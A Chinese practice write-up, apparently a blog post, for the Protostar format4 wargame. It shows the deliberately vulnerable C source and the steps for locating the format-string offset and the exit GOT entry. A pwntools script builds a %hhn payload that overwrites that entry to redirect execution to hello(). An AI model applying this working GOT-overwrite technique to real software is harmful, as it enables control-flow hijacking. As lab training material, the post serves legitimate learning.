pwn 练习笔记 format4

13 篇文章 0 订阅

protostar format4

日常练习,源码为

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

可以看出printf这里出现了漏洞,这个题的思路就是覆盖exit的地址为函数hello的地址,让程序执行hello函数

1.确定存在格式化串洞的参数是第几个

是第四个参数,把ABCD换成hello函数的地址

2.确定hello函数的地址

hello函数的地址为0x80484b4

替换之后

3.找到exit的调用地址

可以看到 call exit 是跳转到0x80483ec处执行代码,我们用x/i 0x80483ec 查看该地址的内容 

发现是jmp到了0x8049724这个地址,所以只要将0x8049724 这个地址覆盖为hello函数的地址  就可以

代码如下

from pwn import *
 
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
 
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
 
def main():
    sh = process('./format4')
    payload = fmt_str(4,4,0x8049724,0x80484b4)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()
 
main()

最近破事比较多,学习被耽误啦,还是要多努力啊

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值